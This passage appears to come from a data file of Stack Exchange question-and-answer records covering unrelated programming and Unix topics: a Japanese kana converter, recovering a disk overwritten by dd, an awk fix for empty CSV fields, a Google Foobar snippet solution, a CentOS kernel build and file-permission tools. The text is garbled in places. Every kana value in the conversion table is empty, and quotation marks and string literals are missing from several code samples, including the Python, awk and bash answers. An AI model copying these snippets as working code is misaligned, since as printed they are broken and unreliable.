hiragana: '', katakana: ''},        {romaji: 'je', hiragana: '', katakana: ''},        {romaji: 'ti', hiragana: '', katakana: ''},        {romaji: 'tu', hiragana: '', katakana: ''},        {romaji: 'di', hiragana: '', katakana: ''},        {romaji: 'du', hiragana: '', katakana: ''},        {romaji: 'tsa', hiragana: '', katakana: ''},        {romaji: 'tsi', hiragana: '', katakana: ''},        {romaji: 'tse', hiragana: '', katakana: ''},        {romaji: 'tso', hiragana: '', katakana: ''},        {romaji: 'fa', hiragana: '', katakana: ''},        {romaji: 'fi', hiragana: '', katakana: ''},        {romaji: 'fe', hiragana: '', katakana: ''},        {romaji: 'fo', hiragana: '', katakana: ''},        {romaji: 'fyu', hiragana: '', katakana: ''},        {romaji: 'hye', hiragana: '', katakana: ''},        {romaji: 'kka', hiragana: '', katakana: ''},        {romaji: 'kki', hiragana: '', katakana: ''},        {romaji: 'kku', hiragana: '', katakana: ''},        {romaji: 'kke', hiragana: '', katakana: ''},        {romaji: 'kko', hiragana: '', katakana: ''},        {romaji: 'ssa', hiragana: '', katakana: ''},        {romaji: 'sshi', hiragana: '', katakana: ''},        {romaji: 'ssu', hiragana: '', katakana: ''},        {romaji: 'sse', hiragana: '', katakana: ''},        {romaji: 'sso', hiragana: '', katakana: ''},        {romaji: 'tta', hiragana: '', katakana: ''},        {romaji: 'cchi', hiragana: '', katakana: ''},        {romaji: 'ttsu', hiragana: '', katakana: ''},        {romaji: 'tte', hiragana: '', katakana: ''},        {romaji: 'tto', hiragana: '', katakana: ''},        {romaji: 'hha', hiragana: '', katakana: ''},        {romaji: 'hhi', hiragana: '', katakana: ''},        {romaji: 'ffu', hiragana: '', katakana: ''},        {romaji: 'hhe', hiragana: '', katakana: ''},        {romaji: 'hho', hiragana: '', katakana: ''},        {romaji: 'mma', hiragana: '', katakana: ''},        {romaji: 'mmi', hiragana: '', katakana: ''},        {romaji: 'mmu', hiragana: '', katakana: ''},        {romaji: 'mme', hiragana: '', katakana: ''},        {romaji: 'mmo', hiragana: '', katakana: ''},        {romaji: 'yya', hiragana: '', katakana: ''},        {romaji: 'yyu', hiragana: '', katakana: ''},        {romaji: 'yyo', hiragana: '', katakana: ''},        {romaji: 'rra', hiragana: '', katakana: ''},        {romaji: 'rri', hiragana: '', katakana: ''},        {romaji: 'rru', hiragana: '', katakana: ''},        {romaji: 'rre', hiragana: '', katakana: ''},        {romaji: 'rro', hiragana: '', katakana: ''},        {romaji: 'wwa', hiragana: '', katakana: ''},        {romaji: 'wwi', hiragana: '', katakana: ''},        {romaji: 'wwe', hiragana: '', katakana: ''},        {romaji: 'wwo', hiragana: '', katakana: ''},        {romaji: 'gga', hiragana: '', katakana: ''},        {romaji: 'ggi', hiragana: '', katakana: ''},        {romaji: 'ggu', hiragana: '', katakana: ''},        {romaji: 'gge', hiragana: '', katakana: ''},        {romaji: 'ggo', hiragana: '', katakana: ''},        {romaji: 'zza', hiragana: '', katakana: ''},        {romaji: 'jji', hiragana: '', katakana: ''},        {romaji: 'zzu', hiragana: '', katakana: ''},        {romaji: 'zze', hiragana: '', katakana: ''},        {romaji: 'zzo', hiragana: '', katakana: ''},        {romaji: 'dda', hiragana: '', katakana: ''},        {romaji: 'jji', hiragana: '', katakana: ''},        {romaji: 'ddzu', hiragana: '', katakana: ''},        {romaji: 'dde', hiragana: '', katakana: ''},        {romaji: 'ddo', hiragana: '', katakana: ''},        {romaji: 'bba', hiragana: '', katakana: ''},        {romaji: 'bbi', hiragana: '', katakana: ''},        {romaji: 'bbu', hiragana: '', katakana: ''},        {romaji: 'bbe', hiragana: '', katakana: ''},        {romaji: 'bbo', hiragana: '', katakana: ''},        {romaji: 'ppa', hiragana: '', katakana: ''},        {romaji: 'ppi', hiragana: '', katakana: ''},        {romaji: 'ppu', hiragana: '', katakana: ''},        {romaji: 'ppe', hiragana: '', katakana: ''},        {romaji: 'ppo', hiragana: '', katakana: ''},        {romaji: 'vvu', hiragana: '', katakana: ''},        {romaji: 'a', hiragana: '', katakana: ''},        {romaji: 'i', hiragana: '', katakana: ''},        {romaji: 'u', hiragana: '', katakana: ''},        {romaji: 'e', hiragana: '', katakana: ''},        {romaji: 'o', hiragana: '', katakana: ''},        {romaji: 'ka', hiragana: '', katakana: ''},        {romaji: 'ki', hiragana: '', katakana: ''},        {romaji: 'ku', hiragana: '', katakana: ''},        {romaji: 'ke', hiragana: '', katakana: ''},        {romaji: 'ko', hiragana: '', katakana: ''},        {romaji: 'sa', hiragana: '', katakana: ''},        {romaji: 'shi', hiragana: '', katakana: ''},        {romaji: 'su', hiragana: '', katakana: ''},        {romaji: 'se', hiragana: '', katakana: ''},        {romaji: 'so', hiragana: '', katakana: ''},        {romaji: 'ta', hiragana: '', katakana: ''},        {romaji: 'chi', hiragana: '', katakana: ''},        {romaji: 'tsu', hiragana: '', katakana: ''},        {romaji: 'te', hiragana: '', katakana: ''},        {romaji: 'to', hiragana: '', katakana: ''},        {romaji: 'na', hiragana: '', katakana: ''},        {romaji: 'ni', hiragana: '', katakana: ''},        {romaji: 'nu', hiragana: '', katakana: ''},        {romaji: 'ne', hiragana: '', katakana: ''},        {romaji: 'no', hiragana: '', katakana: ''},        {romaji: 'ha', hiragana: '', katakana: ''},        {romaji: 'hi', hiragana: '', katakana: ''},        {romaji: 'fu', hiragana: '', katakana: ''},        {romaji: 'he', hiragana: '', katakana: ''},        {romaji: 'ho', hiragana: '', katakana: ''},        {romaji: 'ma', hiragana: '', katakana: ''},        {romaji: 'mi', hiragana: '', katakana: ''},        {romaji: 'mu', hiragana: '', katakana: ''},        {romaji: 'me', hiragana: '', katakana: ''},        {romaji: 'mo', hiragana: '', katakana: ''},        {romaji: 'ya', hiragana: '', katakana: ''},        {romaji: 'yu', hiragana: '', katakana: ''},        {romaji: 'yo', hiragana: '', katakana: ''},        {romaji: 'ra', hiragana: '', katakana: ''},        {romaji: 'ri', hiragana: '', katakana: ''},        {romaji: 'ru', hiragana: '', katakana: ''},        {romaji: 're', hiragana: '', katakana: ''},        {romaji: 'ro', hiragana: '', katakana: ''},        {romaji: 'wa', hiragana: '', katakana: ''},        {romaji: 'wi', hiragana: '', katakana: ''},        {romaji: 'we', hiragana: '', katakana: ''},        {romaji: 'wo', hiragana: '', katakana: ''},        {romaji: 'n', hiragana: '', katakana: ''},        {romaji: 'ga', hiragana: '', katakana: ''},        {romaji: 'gi', hiragana: '', katakana: ''},        {romaji: 'gu', hiragana: '', katakana: ''},        {romaji: 'ge', hiragana: '', katakana: ''},        {romaji: 'go', hiragana: '', katakana: ''},        {romaji: 'za', hiragana: '', katakana: ''},        {romaji: 'ji', hiragana: '', katakana: ''},        {romaji: 'zu', hiragana: '', katakana: ''},        {romaji: 'ze', hiragana: '', katakana: ''},        {romaji: 'zo', hiragana: '', katakana: ''},        {romaji: 'da', hiragana: '', katakana: ''},        {romaji: 'ji', hiragana: '', katakana: ''},        {romaji: 'dzu', hiragana: '', katakana: ''},        {romaji: 'de', hiragana: '', katakana: ''},        {romaji: 'do', hiragana: '', katakana: ''},        {romaji: 'ba', hiragana: '', katakana: ''},        {romaji: 'bi', hiragana: '', katakana: ''},        {romaji: 'bu', hiragana: '', katakana: ''},        {romaji: 'be', hiragana: '', katakana: ''},        {romaji: 'bo', hiragana: '', katakana: ''},        {romaji: 'pa', hiragana: '', katakana: ''},        {romaji: 'pi', hiragana: '', katakana: ''},        {romaji: 'pu', hiragana: '', katakana: ''},        {romaji: 'pe', hiragana: '', katakana: ''},        {romaji: 'po', hiragana: '', katakana: ''},        {romaji: 'vu', hiragana: '', katakana: ''},        {romaji: ',', hiragana: '', katakana: ''},        {romaji: '.', hiragana: '', katakana: ''}    ];}sampleUsage.html<meta charset=UTF-8 /><textarea id=romaji></textarea><textarea id=hiragana></textarea><textarea id=katakana></textarea><script type=text/javascript src=startswith.js></script> <!-- https://github.com/mathiasbynens/String.prototype.startsWith/blob/master/startswith.js --><script type=text/javascript src=conversionTable.js></script><script type=text/javascript src=Converter.js></script><script type=text/javascript>    var romajiInput = document.getElementById('romaji');    var hiraganaInput = document.getElementById('hiragana');    var katakanaInput = document.getElementById('katakana');    var converter = new Converter();    romajiInput.onkeyup = hiraganaInput.onkeyup = katakanaInput.onkeyup = function () {        var from = this.id;        converter.convert(this.value, from);        var conversionResult = converter.getResult();        if (this !== romajiInput) {            romajiInput.value = conversionResult.romajiText;        }        if (this !== hiraganaInput) {            hiraganaInput.value = conversionResult.hiraganaText;        }        if (this !== katakanaInput) {            katakanaInput.value = conversionResult.katakanaText;        }    };</script>"  , "title": "Three-way conversion between Japanese writing systems"  , "tags": "javascript;natural language processing"  , "accepted_answer": "This is so cool! I may finally realize the dream of learning Japanese :DAnyways, back to your code. var romajiInput = document.getElementById('romaji');var hiraganaInput = document.getElementById('hiragana');var katakanaInput = document.getElementById('katakana');var converter = new Converter();romajiInput.onkeyup = hiraganaInput.onkeyup = katakanaInput.onkeyup = function () {    var from = this.id;    converter.convert(this.value, from);    var conversionResult = converter.getResult();    if (this !== romajiInput) {        romajiInput.value = conversionResult.romajiText;    }    if (this !== hiraganaInput) {        hiraganaInput.value = conversionResult.hiraganaText;    }    if (this !== katakanaInput) {        katakanaInput.value = conversionResult.katakanaText;    }};This is cool, nothing wrong about it. But if you're considering, try using a framework that supports basic two-way binding. That way, you don't have to deal with syncing the DOM with your data. Here's an example using Ractive.jsvar JapaneseConversionWidget = Ractive.extend({  // If you have the luxury of ES6, you can use template strings  template: `    <textarea value={{ hiragana }} on-change=fromHiragana(hiragana)></textarea>    <textarea value={{ katakana }} on-change=fromKatakana(katakana)></textarea>    <textarea value={{ romaji }} on-change=fromRomaji(romaji)></textarea>  `,  // This autobinds to the DOM  data: {    hiragana: '',    katakana: '',    romaji: '',  },  // Assuming convert returns an object like {hiragana: '', katakana: '', romaji: ''}  // Now all I'm doing is `set. The library does everything else for me.  fromHiragana: function(text){    this.set(convertFromHiragana(text))  },  fronKatakana: function(text){    this.set(convertFromKatakana(text))  },  fromRomaji: function(text){    this.set(convertFromRomaji(text))  }});new JapaneseConversionWidget({  el: document.body,  append: true});Another thing is that its better if you split your convert into more distinct operations. In the sample framework code shown above, I explicitly created functions for conversion from Hiragana, Katakana and Romaji. This prevents your convert function from becoming bloated, especially when you add dialect-specific parsing routines.As for your converter, I don't think you really need to use prototypes for it although there's nothing wrong with doing so either. It's just that you're not doing inheritance, and the same feat can be done with just a series of transformation functions.Now usually I'd do things in a functional way (not really a follower of the paradigm, but know enough to get the benefits). I suggest you create your functions transparently. That means given the same input, the function should always give the same output, regardless of what's happening on the outside, specifically the implicit mutations of properties on this.// convertwhile (this.text !== '') {    var token = this._getToken();    this.result.romajiText += token.romaji;    this.result.hiraganaText += token.hiragana;    this.result.katakanaText += token.katakana;    this.text = this.text.substr(token.strLength);}The one problem I see is the use of a loop. It gives me the scares, and the fear that this will be an infinite loop eventually. What I would suggest is to have a function that accepts a string, and returns an array of tokens instead. That way, you have a finite set to operate with and easily used by array methods like map, reduce etc.function tokenizeRomaji(text){  return text.split('').reduce(function(syllables, character){    // Logic to group individual characters to syllables.    // For Romaji, you can add Romaji-specific routines  }, [])}function mapTokensToCharacters(tokens){  return tokens.map(function(token){    return //Convert token into another dialect  });}What I suggest is doing something like this:function convertFromHiragana(text){  var lowerCasedText = text.toLowerCase();  var preprocessedText = preprocess(lowerCasedText);  // Instead of running with in getting tokens, why not create an array of  // tokens instead, then hand it off to individual translators? This also  // makes the tokenizer dialect-specific. This means that even if your table  // is shared, dialect-specific quirks can be worked-around.  var tokenizedText = tokenizeHiragana(preprocessedText);  // Explicitly separating translators. Since we come from Hiragana, we don't  // translate Hiragana.  var katakanaTranslation = convertToKatakana(tokenizedText);  var romajiTranslation = convertToRomaji(tokenizedText);  // Return as object. Note that we explicitly postProcess Romaji instead of  // blindly calling postProcess and making it an implicit Romaji-only operation.  return {    hiragana: text,    katakana: katakanaTranslation,    romaji: postProcess(romajiTranslation)  }}Sure, there's a lot of typing here, and more explicitness of code. However, we know that tokenizeHiragana does just tokenizing a Hiragana string into an array of tokens. We know we come from Hiragana, thus avoid Hiragana conversion. We know that the convert* functions can operate independently. With the above approach, you can have dialect-specific tokenizers. For instance, your Romaji tokenizer can look ahead to see if there's a vowel after the current token and merge it, or look behind to see if a vowel is preceded by an n and merge it.I wouldn't worry about repetetive code or being DRY at the moment. I'd worry much about making functions independent, and that bugs implemented for one operation doesn't affect another operation. You can start trimming off code at a later stage once you have the entire thing running perfectly and have tests. One cause of regression is refactoring without tests."  } 
{  "id": "_unix.246835"  , "question": "I'm stuck in a tricky problem. Context : Yesterday I made a cloning script for my raspberry pi that dd a whole running pi filesystem into a local sdcard on a computer connected through ethernet. It was late, I was starving and tired : I dd the pi into... /dev/sda,  my computer main fs, instead of /dev/sdb (the sd card). Because everything was running in memory I didn't noticed the error before I reboot this morning... :cry:So, instead of my 600go+ filesystem (which was partioned with LVM, without encryption, running debian jessie, but I cant remember the initial partition sheme) I now get a 4go raspberry pi filesystem which is not even booting since its arm. ::cry::cry:cry:(i am on amd64 btw)My current partition sheme looks like : SCSI1 (0,0,0) (sda) 640.1GB ATA Hitachi HTS54756n 1 primary 64.0MB fat16n 2 primary 4.0GB ext4pri/log 636.1GB free spaceor, in lsblk fashion : NAME                          MAJ:MIN RM   SIZE RO TYPE MOUNTPOINTsda                             8:0    0 4G  0 disk sda1                          8:1    0   64M  0 part /bootsda2                          8:2    0     4G  0 part /As far as i remember, before it was something like : NAME                          MAJ:MIN RM   SIZE RO TYPE MOUNTPOINTsda                             8:0    0 640.1G  0 disk sda1                          8:1    0   2?M  0 part /bootsda2                          8:2    0     ?K  0 part sda5                          8:5    0 ?G  0 part   mycomputer--vg-root   254:0    0   ?G  0 lvm  /  mycomputer--vg-swap_1 254:1    0   ?G  0 lvm  [SWAP]  mycomputer--vg-var    254:2    0   ?G  0 lvm  /var  mycomputer--vg-tmp    254:3    0   ?M  0 lvm  /tmp  mycomputer--vg-home   254:4    0 ?G  0 lvm  /homeEverything I need to get back was on /dev/sda5AFAIK, what the dd command did yesterday was : writing all the bits on the first 4goconverting the rest (636.1GB) into free spaceIf I'm right, then my data (located on the rest part) have to be still somewhere. Somewhere in the nowhere of free space. Goal : I would like to retrieve my things.Thanks to my stupidity I may be able to learn something about forensic. But for now I am at the ground zero. I am currently downloading Caine linux live, but I'm not sure what I should do. Is there a way to dump every bits located in free space and analyzeit?Or is there a way to recreate a LVM filesystem over free spaceWITHOUT formating anything? (I dont think so...)For now, I try to learn basics from Basic Steps in Forensic Analysis of Unix SystemsThx for any help."  , "title": "Retrieve data from free space on 600Go disk after this disk have been dd of=/dev/{this disk} with 4Go data"  , "tags": "data recovery"  } 
{  "id": "_softwareengineering.306974"  , "question": "Its like, I want to call .moveToBefore(Node) on a Node object and have the node relocate to before the node passed in.The problem arises if the node passed in is the head node. The List object will still reffer to the old head where as the old head will actually follow the new head further down the chain.I guess this could be solved easily if the nodes held a reference to the List object. So want to know if there are any disadvantages if the node objects in a Linked List implementation held a reference to its parent List object."  , "title": "Is it odd if Nodes in a LinkedList held references to the List object?"  , "tags": "data structures;list;reference;linked list"  , "accepted_answer": "The potential problem with the Node class knowing about and using the List class directly is that you create a circular dependency between Node and List.Circular dependencies can be acceptable if they're carefully contained to ensure you don't accidentally end up making all your classes circularly dependent on each other. This particular example is probably very easy to contain and unlikely to infect the rest of your classes, so I wouldn't rule it out as a potentially valid design. But it could still cause problems when maintaining the List itself, since in principle it means you can never change anything on List without checking that you aren't breaking Node in the process. For instance, what if you want to implement the splice operation for your List class? If your Nodes all contain references to the List they're in, then you have to update all of these references, which means slightly more complicated code, and the splice would end up taking O(n) instead of O(1) time. And, if you weren't consciously aware of the circular dependency, you might not have even realized you had to update those references (just imagine the kinds of bugs that would lead to).For that reason, I would default to List.moveBefore(node1, node2) unless I had some compelling reason to put that method on the Node class instead. But if you do have such a reason, it's okay as long as you keep in mind that you can no longer make any changes to List or Node without checking both class' implementations for things that might break."  } 
{  "id": "_unix.309949"  , "question": "How to list files that has last read-access older than 6 months? Then, how to delete them?My filesystem seems to be mounted with:/dev/sda3 on /home type ext4 (rw,relatime,data=ordered)"  , "title": "List (and then delete) files that has last read-access older than 6 months"  , "tags": "files;filesystems;timestamps;atime"  } 
{  "id": "_unix.274801"  , "question": "I am writing a (very simple) userland IP network stack. For this purpose, I need to go around the OS network stack and obtain the raw Ethernet frames. The tap interface sounds like a way to go, but it does not seem to work for me. I created a bridge interface between the wlan and tap interfaces, but only few super-weird UDP packets seem to appear there (tcpdump -i tap0 -e -vv says so), even though the real wlan interface contains lots of other packets (again, tcpdump confirms).Am I doing something wrong? Is there any other (better) way to go about the userspace network stack solution?"  , "title": "Userspace Network Stack"  , "tags": "kernel;ip;network interface;tcpdump"  } 
{  "id": "_softwareengineering.299497"  , "question": "I am writing a compiler, for which I devised a rather classic architecture: it's composed of sequential passes piped together, starting with a lexer and a parser, continuing with a macro processor, then a semantic analysis/type checker pass, and finally an intermediate code generator (and maybe IR optimizer that will come later).My current approach is the following. The parser is building an AST, where each type of AST node inherits from an AST base class. I plan that virtual functions of the AST will implement the functionality of subsequent passes. To provide a simplified example:macroExpand() finds, evaluates and substitutes all the macros in the AST, recursively;typeCheck() performs type checking, type inference and general semantic analysis/error checking on the now-desugared tree, completing each node with type annotations (which are implemented as member variables);codeGen(), finally, generates some kind of IR from the annotated AST.However, I'm afraid that having all this functionality in one single class violates the single-responsibility principle.I reckon that macro expansion especially does not fit in: I was thinking about integrating semantic analysis and code generation into just one set of functions instead of separating them, simply because I don't think I need to traverse the entire tree twice, and I would have to look at the types at codegen time anyway, even if I've pre-inferred and pre-checked them previously.But even with this structural change, there are still at least two completely different sets of methods on my AST classes. I don't yet see any particular reason why this in itself would be bad in my specific case, but I'm pretty sure the single responsibility principle was discovered for a good reason.One way to remedy (?) this issue would be to use the visitor pattern and write separate visitor class hierarchies for the AST for each purpose (macro expansion, semantic analysis and/or code generation). But I really don't feel like doing so. (In all honesty, I really dislike the idea.) So far it only seems to introduce unnecessary complexity and burden (by means of forcing me to maintain parallel class hierarchies).Currently, I'm writing this compiler in C++, but I'm pretty sure that if I were using a language that permitted after-the-fact modification and augmentation of classes (e.g. Objective-C categories), I would surely make use of this feature of the language and I would just decorate my base AST classes with the necessary set of methods, independently of the core interface and implementation of said classes.I could sort of simulate that in C++ by putting all the method declarations in one header file, but writing the implementation of each category of functions in different implementation files. This, however, contradicts the usual one class, one file practice.To sum up, my question is: is my current approach of giving two or three different functionality to one class really bad?If so, are any of my suggested fixes considered to be good practice, orIf it isn't, can you suggest something better?"  , "title": "Do I violate the Single Responsibility Principle with my multi-purpose AST Class?"  , "tags": "object oriented;architecture;single responsibility"  , "accepted_answer": "You're bumping up against a classic problem in programming language theory, the expression problem. It exposes a weakness of both classic object-oriented design (that it's hard to add operations to a data structure with multiple subtypes) and algebraic data types (that it's hard to add new type cases to an adt when there are multiple operations defined on it).There are various solutions; the visitor pattern is certainly a common one, but in my opinion object-oriented pattern matching is probably the nicest - there's an implementation for c++ here."  } 
{  "id": "_unix.337551"  , "question": "I have a csv file with 9 columns where every three of them has different rows. The file looks like1  6.2   0.5  1  0.08  0.5   1  0.001  0.12  5.2   0.6  2  0.01  1.3   2  0.008  0.83  4.3   0.7  3  0.002 0.324  2.0   0.7  4  0.2   0.355  13.1  1.3  5  0.54  4.326  1.02  1.67I would like to replace any empty field by zero using a bash script. The outcome that I would like to produce should look like1  6.2   0.5  1  0.08  0.5   1  0.001  0.12  5.2   0.6  2  0.01  1.3   2  0.008  0.83  4.3   0.7  3  0.002 0.32  3  0      04  2.0   0.7  4  0.2   0.35  4  0      05  13.1  1.3  5  0.54  4.32  5  0      06  1.02  1.67 6  0     0     6  0      0"  , "title": "Replacing empty fields by zero in a csv file"  , "tags": "shell script;text processing;awk;sed"  , "accepted_answer": "Solution hard-coded for the number of columns and assuming only the latter columns are the ones possibly empty:awk 'BEGIN { OFS=FS=\\t } {  $1=NR; if(!$2)$2=0; if(!$3)$3=0;  $4=NR; if(!$5)$5=0; if(!$6)$6=0;  $7=NR; if(!$8)$8=0; if(!$9)$9=0;  print }' /path/to/your.csv"  } 
{  "id": "_softwareengineering.349000"  , "question": "Is it a good idea to use the same naming nomenclature (e.g. camelCase) for both front end (eg. Javascipt) and backend (eg. php) ? "  , "title": "Variables Naming in Javascript and PHP"  , "tags": "php;javascript"  , "accepted_answer": "It depends.If you are the only developer I'd say you should use same naming convention on both.BUT If there is any chance that someone else will look at your code you should follow the naming conventions of each language in separation."  } 
{  "id": "_codereview.136423"  , "question": "I am getting all the answers correct. But still the solution is not accepted as only 4/5 tests cases are passed. I have not posted the whole problem statement but the problem is similar to this.I want to know if there are any more optimizations possible.import sysclass Queue(object):    input_array = []    def __init__(self, input_array=None):        if not input_array:            self.input_array = []        else:            self.input_array = input_array    def enqueue(self, element):        self.input_array.append(element)    def dequeue(self):        return self.input_array.pop(0)    def first(self):        return self.input_array[0]    def last(self):        return self.input_array[-1]    def size(self):        return len(self.input_array)    def get_queue(self):        return self.input_array    def get_queue_after_first(self):        return self.input_array[1:]    def __str__(self):        return Current Queue: {0}.format(self.input_array)def answer(document, searchTerms):    no_of_search_terms = 0    count = dict()    for searchTerm in searchTerms:        if searchTerm in count:            count[searchTerm] += 1        else:            no_of_search_terms += 1            count.update({searchTerm: 1})    q = Queue()    len_q = Queue()    smallest_snippet_size = sys.maxint    offsets = tuple()    tokens = document.split()    for position, token in enumerate(tokens, start=1):        if count.get(token, 0):            q.enqueue(token)            len_q.enqueue(position)            while q.first() in q.get_queue_after_first():                q.dequeue()                len_q.dequeue()            current_block_len = len_q.last() - len_q.first() + 1            if (q.size() >= no_of_search_terms) and (current_block_len < smallest_snippet_size):                smallest_snippet_size = current_block_len                offsets = (len_q.first() - 1, len_q.last())    return  .join(tokens[offsets[0]: offsets[1]])if __name__ == '__main__':    assert (answer(world there hello hello where world, [hello, world]) == 'world there hello')    assert (answer(many google employees can program, [google, program]) == 'google employees can program')    assert (answer(some tesla cars can autopilot, [tesla, autopilot]) == 'tesla cars can autopilot')    assert (answer(a b c d a, [c, d, a]) == 'c d a')    assert (answer(the cats run very fast in the rain, [cats, run, rain]) == 'cats run very fast in the rain')    assert (answer(the cats run very fast in the rain run cats, [cats, run, rain]) == 'rain run cats')    assert (answer(hello, [hello]) == 'hello')"  , "title": "Google Foobar Challenge: Spy Snippets in Python"  , "tags": "python;programming challenge;python 2.7;interview questions"  , "accepted_answer": "Why use two Queues, when you could just queue a tuple (or even better, a collections.namedtuple)? The only place which might prevent this is here:while q.first() in q.get_queue_after_first():But this can be written as:while any(q.first() == el[0] for el in q.get_queue_after_first()):in is already O(n), so this should not even have worse runtime (also, any uses short-circuit evaluation).Whenever you have to do a list.pop(0) you probably want collections.deque, which does deque.popleft in O(1) instead of O(n) for a list.Actually I don't see a point in having the Queue class at all. All its functions are single line and it is very well known and pythonic that you get the first element with l[0] and the last with l[-1].Also, I second the use of collections.Counter. In addition, collections.Counter will never have a count of zero for a key (unless modified to be so, of course), so if count.get(token, 0): is more readable as if token in count:PEP8 recommends using lower_case for variable names, so I would rename searchTerms to search_terms.Resulting code:import sysfrom collections import namedtuple, deque, CounterItem = namedtuple(Item, token position)def answer(document, search_terms):    count = Counter(search_terms)    no_of_search_terms = len(count)    queue = deque()    smallest_snippet_size = sys.maxint    offsets = tuple()    tokens = document.split()    for position, token in enumerate(tokens, start=1):        if token in count:            queue.append(Item(token, position))            while any(queue[0].token == el.token for el in queue[1:]):                queue.popleft()            current_block_len = queue[-1].position - queue[0].position + 1            if (len(queue) >= no_of_search_terms) and (current_block_len < smallest_snippet_size):                smallest_snippet_size = current_block_len                offsets = (queue[0].position - 1, queue[-1].position)    return  .join(tokens[offsets[0]: offsets[1]])"  } 
{  "id": "_unix.101226"  , "question": "I need to rebuild the Centos-6 / elrepo 3.10.19 kernel from source.Background: the GVision touch screen drivers are incompatible with kernels > 3.8 and require source code patches to add code to avoid conflicts with their touchscreen drivers. My first step is to build an unmodified driver from source that works before I try to apply the GVision patches.When I build the kernel as noted below, the kernel fails to boot properly with (hand typed!):Kernel panic - not syncing: Attempted to kill init! exitcode=0x000000100<some register dumps>dump_stackpanicremote_function+0x38/0x40find_new_reaper_0x512/0x160forget_original_parent+0x34/0x250perf_cgroup_switch+0x160/0x160exit_notify+0x16/0x120do_exit+0x1b4/0x400do_group_exit_0x3e/0xb0SyS_exit_group_0x3e/0xb0sysenter_do_call+0x12/0x28drm_kms_helper: panic occurred, swithcing back to text consoleHere how I built the kernel guided by https://fedoraproject.org/wiki/BuildingUpstreamKernelGet config file elrepo used:- First, get the config files that were used to build the elrepo kernel- - wget http://elrepo.org/linux/kernel/el6/SRPMS/kernel-t-3.10.19-1.el6.elrepo.nosrc.rpm- - rpm -i kernel-lt-3.10.19-1.el6.elrepo.nosrc.rpmThe key thing that you want from here is rpmbuild/SOURCES/config-3.10.19-i686Next, get the kernel source- wget https://www.kernel.org/pub/linux/kernel/v3.x/linux-3.10.19.tar.xzChange perms on /usr/src/kernels- chmod o+w /usr/src/kernelsThen, as non-root- cd /usr/src/kernels- tar xJf ~/linux-3-10-19.tar.xz- cd linux-3-10-19- copy the config file from the rpmbuild/SOURCES/config-3.10.19-i686 to ./.config- edit the Makefile to make a unique kernel name with an extesion in the variable EXTRAVERSION- make bzImage && make modulesAs root- make modules_install- make installThis all completes cleanlyIn /boot, the original and newly build vmlinuz and System.map are the same file size (but different md5sum) and the newly built initramfs is much smaller.drwxr-xr-x 3 root root     1024 Nov 11 18:23 boot-rw-r--r-- 1 root root   142933 Nov 12 23:22 config-3.10.19-1.el6.elrepo.i686drwxr-xr-x 3 root root     1024 Aug  5  2011 efidrwxr-xr-x 2 root root     1024 Nov 14 20:07 grub-rw-r--r-- 1 root root 16589977 Nov 14 14:16 initramfs-3.10.19-1.el6.elrepo.i686.img-rw-r--r-- 1 root root  4645843 Nov 14 20:07 initramfs-3.10.19-MDV1.imgdrwx------ 2 root root    12288 Aug  5  2011 lost+found-rw-r--r-- 1 root root   254858 Nov 12 23:23 symvers-3.10.19-1.el6.elrepo.i686.gzlrwxrwxrwx 1 root root       29 Nov 14 20:06 System.map -> /boot/System.map-3.10.19-MDV1-rw-r--r-- 1 root root  2342208 Nov 12 23:22 System.map-3.10.19-1.el6.elrepo.i686-rw-r--r-- 1 root root  2342208 Nov 14 20:06 System.map-3.10.19-MDV1lrwxrwxrwx 1 root root       26 Nov 14 20:06 vmlinuz -> /boot/vmlinuz-3.10.19-MDV1-rwxr-xr-x 1 root root  4868224 Nov 12 23:22 vmlinuz-3.10.19-1.el6.elrepo.i686-rw-r--r-- 1 root root  4868224 Nov 14 20:06 vmlinuz-3.10.19-MDV1What step am I missing?==== Solved ====The key problem here was the initramfs that I generated was missing lots of material that was in the original elrepo distributed initramfs. As @terdon pointed out something is missing in there that is obviously essential to a successful boot.I don't know why the initramfs created by make install didn't work -- I didn't dig into that. To recreate the initramfs:cd /bootdracut -f initramfs-3.10.19.el6.elrepo.i686-MDV1.img 3.10.19.el6.elrepo.i686-MDV1With the new initramfs, this kernel boots cleanly.While digging into this I found that the config file in /boot was exactly the same as I had pulled from the elrepo archive so the wget for the elrepo config file can be eliminated.With a clean process to build from source, I was able to apply the source code patches to make the GVision touch screen work. The GVision instructions are a bit confusing, and in some places incorrect, and I've provided feedback to the vendor to update their documentation."  , "title": "Kernel panic - not syncing after building Centos-6/elrepo 3.10.19 kernel from source"  , "tags": "linux;kernel;compiling;source"  } 
{  "id": "_unix.102108"  , "question": "I have a problemIf [[ * ]]thencontinueelseexit 1fiI want to test that the argument to my switch (for example -d 3) is a valid positive decimal integer number (a sequence of one or more of any of the ASCII characters from 0 to 9). After -d there can be only be a number [0,infinity). Everything else is bad. I do not know what to put instead of *.Can you help me ? Argument after -d is at $2 position."  , "title": "Test if number from range <0,infinity)"  , "tags": "bash;exit;test"  , "accepted_answer": "With any Bourne-like shell (that is, going back as far back as the 70s):case $2 in   | *[!0-9]*) echo >&2 not OK; exit 1;;  *) echo OK;;esac"  } 
{  "id": "_unix.282859"  , "question": "That's all - just wondering if there's other way to find out the permissions for a file without doing a ls -l to see the string of values there. As far as I know, there's no show option in chmod. "  , "title": "Is there a way to show the permissions for a file without using `ls`"  , "tags": "linux;permissions;ls;aix;chmod"  , "accepted_answer": "Besides stat (Linux-specific), there are tools which allow you to do this as a side effect.  The tar program, for example can do this:tar cf - filename | tar tvf -For example$ tar cf - foo |tar tvf -rwxr-xr-x 1021/1021     18 Jan 13 21:40 2016 fooUsing the special - like that is reasonably portable (it works with AIX, HPUX, Solaris, Linux and FreeBSD).The term reasonably portable applies toavailabilityidentical formatThere are a few comments about stat versus portability.  Here is output from GNU coreutils stat:$ stat foo  File: `foo'  Size: 0               Blocks: 0          IO Block: 4096   regular empty fileDevice: 801h/2049d      Inode: 784564      Links: 1Access: (0755/-rwxr-xr-x)  Uid: ( 1001/     tom)   Gid: (  100/   users)Access: 2016-05-12 19:03:54.773503477 -0400Modify: 2016-05-12 19:03:54.773503477 -0400Change: 2016-05-12 19:03:54.773503477 -0400 Birth: -and output from BSD stat (OSX):$ stat foo16777221 61893362 -rwxr-xr-x 1 tom wheel 0 0 May 12 19:03:54 2016 May 12 19:03:54 2016 May 12 19:04:59 2016 May 12 19:03:54 2016 4096 0 0 fooAnd here is an example output from AIX istat (looks different to me):$ istat fooInode 3166649 on device 32768/13        FileProtection: rwxr-xr-x   Owner: 1021(dickey)             Group: 1021(dickey)Link count:   1         Length 18 bytesLast updated:   Wed Jan 13 21:40:30 UTC 2016Last modified:  Wed Jan 13 21:40:30 UTC 2016Last accessed:  